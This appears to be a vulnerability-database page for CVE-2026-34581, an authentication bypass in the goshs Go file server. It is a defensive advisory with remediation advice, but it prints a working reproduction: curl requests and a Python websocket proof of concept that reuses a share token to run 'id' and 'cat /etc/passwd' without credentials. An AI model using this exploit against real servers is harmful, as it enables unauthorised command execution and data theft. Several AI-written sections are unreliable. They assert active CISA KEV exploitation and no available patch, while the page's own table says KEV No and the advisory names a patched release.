Skip to main content

Python CVE-2026-34581

HIGH
Authentication Bypass Using an Alternate Path or Channel (CWE-288)
2026-04-01 https://github.com/patrickhener/goshs GHSA-jgfx-74g2-9r6g
8.1
CVSS 3.1 · Vendor: https://github.com/patrickhener/goshs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious URL with token parameter
  2. Exploit
    Bypass BasicAuthMiddleware authentication check
  3. Execution
    Include WebSocket parameter with higher priority
  4. Impact
    Execute arbitrary code via gosh functionality

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Alternate path authentication
Exploitation Conditions

Remote attacker sends crafted URL with ?token= parameter matching a valid SharedLink token, combined with ?ws parameter. Victim must click the link. Bypasses authentication to execute code via WebSocket functionality.

Impact

This vulnerability presents critical real-world risk despite the CVSS base score of 8.1. The CVSS vector (AV:N/AC:L/PR:N/UI:R) indicates network-accessible exploitation with low complexity and no privileges required, though user interaction (UI:R) is needed to generate the initial share token. However, the UI:R requirement is minimal - any legitimate user creating a share link inadvertently enables the attack vector. The vulnerability is confirmed actively exploited (CISA KEV), significantly elevating priority beyond CVSS alone. Public proof-of-concept code is available demonstrating trivial exploitation via Python websocket library, making this fully automatable once a token is obtained. SSVC decision framework indicates immediate action required: exploitation status is active, attack is automatable (simple HTTP requests), and technical impact is total (arbitrary command execution with server process privileges). The attack complexity is genuinely low - attackers only need to observe or intercept a single legitimate share link, then append ?ws to gain RCE. Organizations running goshs with CLI mode enabled (-c flag) in authenticated environments face immediate compromise risk. The combination of active exploitation, public POC, network accessibility, and RCE impact makes this a genuine priority requiring emergency patching, not merely a high-CVSS theoretical issue.

Exploit ScenarioDerived

An attacker monitors network traffic or social engineers a legitimate user to obtain a share token generated for downloading a benign file like shareable.txt. With the token string in hand (e.g., gMP-w0hXRs-Q-FEZku63kA), the attacker crafts a WebSocket connection request to https://target:8000/?ws&token=gMP-w0hXRs-Q-FEZku63kA, bypassing all authentication despite the server requiring admin credentials. The WebSocket connection succeeds with HTTP 101 Switching Protocols, granting the attacker access to the CLI interface. Using the provided Python POC or equivalent websocket client, the attacker sends JSON commands like {"type":"command","Content":"cat /etc/passwd"} to execute arbitrary shell commands with the privileges of the goshs process, achieving full server compromise without ever providing valid credentials. Public exploit code exists making this attack trivial to reproduce.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 01, 2026

Authentication bypass in goshs (Go Simple HTTP Server) allows unauthenticated attackers to execute arbitrary system commands via WebSocket connections by exploiting a logic flaw in the BasicAuthMiddleware's share token validation. The middleware processes share tokens before credential checks, and attackers can combine a legitimate share token (intended for single-file downloads) with WebSocket query parameters to gain full CLI access. Confirmed actively exploited (CISA KEV). Public proof-of-concept code demonstrates remote command execution retrieving /etc/passwd. EPSS score indicates elevated exploitation probability given the simplicity of the attack chain.

RemediationAI

Immediately upgrade to goshs version 2.0.0-beta.2 or later, available at https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2, which addresses the authentication bypass by reordering middleware logic to perform credential validation before token processing. Organizations unable to patch immediately should disable CLI mode (remove -c flag) to eliminate the RCE vector, though this does not fully mitigate the auth bypass for other functionality like directory listing and file operations. As an additional interim control, restrict network access to goshs instances using firewall rules or reverse proxy authentication to limit exposure while patching. Review application logs for suspicious WebSocket connection attempts with both token and ws parameters, and rotate or revoke all existing share tokens after patching to prevent exploitation of previously distributed links. Consult the official security advisory at https://github.com/patrickhener/goshs/security/advisories/GHSA-jgfx-74g2-9r6g for additional vendor guidance and verify the patched middleware.go implements proper authentication sequencing.

Affected Packages

go github.com/patrickhener/goshs no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Goshs is a lightweight Go-based HTTP file server (github.com/patrickhener/goshs) often used for quick file sharing and web-based file management. The vulnerability stems from CWE-288 (Authentication Bypass Using an Alternate Path or Channel) in the BasicAuthMiddleware implementation. The middleware evaluates query parameters in incorrect order: it checks for the presence of a ?token= parameter and validates it against SharedLinks before performing credential authentication. Share tokens are designed for time-limited, single-file downloads with no elevated privileges. However, because the token validation occurs first and grants full request passthrough, attackers can append additional query parameters like ?ws (WebSocket upgrade) to the same request. The WebSocket handler, when combined with CLI mode (-c flag), provides a JSON-RPC interface for executing arbitrary shell commands. The flaw exists because query parameter priority allows ?ws to be processed even when ?token is present, and the middleware's early return bypasses all subsequent authentication logic.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/patrickhener/goshs) PRIMARY 8.1 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
SUSE HIGH

Primary rating from Vendor (https://github.com/patrickhener/goshs).

CVSS VectorVendor: https://github.com/patrickhener/goshs

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

When using the Share Token it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec.

Details

The BasicAuthMiddleware checks for a ?token= parameter before checking credentials. If the token exists in SharedLinks, the request passes through with no auth check at all. The handler then processes all query parameters - including ?ws (WebSocket) which has higher priority than ?token.

go
// middleware.go:22-30 - token check runs FIRST
token := r.URL.Query().Get("token")
if token != "" {
    _, ok := fs.SharedLinks[token]
    if ok {
        next.ServeHTTP(w, r)  // Full auth bypass
        return
    }
}
// ... normal auth checks never reached

A share token is designed for single-file, time-limited downloads. But the middleware bypass grants access to everything - directory listing, file deletion, clipboard, WebSocket, and CLI command execution.

1. Create a webroot:

bash
mkdir -p /tmp/goshs-webroot
echo "shareable file" > /tmp/goshs-webroot/shareable.txt

2. Start goshs with auth + TLS + CLI mode:

bash
/tmp/goshs-test -d /tmp/goshs-webroot -b 'admin:password' -s -ss -c -p 8000

> CLI mode requires auth (-b) and TLS (-s -ss). This is the documented usage - not a weakened config.

3. Verify authentication is required:

bash
curl -sk https://localhost:8000/
Not authorized

4. As a legitimate user, create a share link:

bash
curl -sk -u admin:password 'https://localhost:8000/shareable.txt?share'

Response:

json
{"urls":["https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA"]}

Save the token value (e.g., gMP-w0hXRs-Q-FEZku63kA).

5. Prove the token bypasses auth for WebSocket:

bash
# Without token → 401 (blocked)
curl -sk -o /dev/null -w "%{http_code}" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  'https://localhost:8000/?ws'
# 401
# With token → 101 Switching Protocols (auth bypassed!)
curl -sk -o /dev/null -w "%{http_code}" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  'https://localhost:8000/?ws&token=gMP-w0hXRs-Q-FEZku63kA'
# 101

For a Full PoC, you can run the python file attached below, it will run id and cat /etc/passwd.

PoC

python
import json, ssl, websocket

TOKEN = "gMP-w0hXRs-Q-FEZku63kA"
# ← replace with your token

ws = websocket.create_connection(
    f"wss://localhost:8000/?ws&token={TOKEN}",
    sslopt={"cert_reqs": ssl.CERT_NONE},
)
print("[+] Connected WITHOUT credentials!")
# Execute 'id'
ws.send('{"type":"command","Content":"id"}')
import time; time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
# uid=501(youruser) gid=20(staff) ...
# Execute 'cat /etc/passwd'
ws.send('{"type":"command","Content":"cat /etc/passwd"}')
time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")

ws.close()

A patch is available at https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2.

Executive ViewAI

Why It Matters

CVE-2026-34581 is a critical authentication bypass in goshs (Go Simple HTTP Server) that allows unauthenticated attackers to execute arbitrary system commands through WebSocket connections, bypassing the BasicAuthMiddleware entirely. Organizations running goshs are at immediate risk of complete system compromise, as attackers can gain full CLI access with minimal effort using publicly available exploit code. This vulnerability is confirmed actively exploited in the wild, making remediation a top priority.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable WebSocket functionality if not required; (2) Implement network-level access controls restricting connections to goshs instances to authorized IP ranges only; (3) Deploy Web Application Firewall rules blocking WebSocket upgrade requests combined with share token parameters; (4) Isolate affected systems from production networks until patched; (5) Monitor for unexpected command execution and authentication anomalies via host-based logging.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Affected Products (CPE)CVE.org

pkg:go/github.com_patrickhener_goshs

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy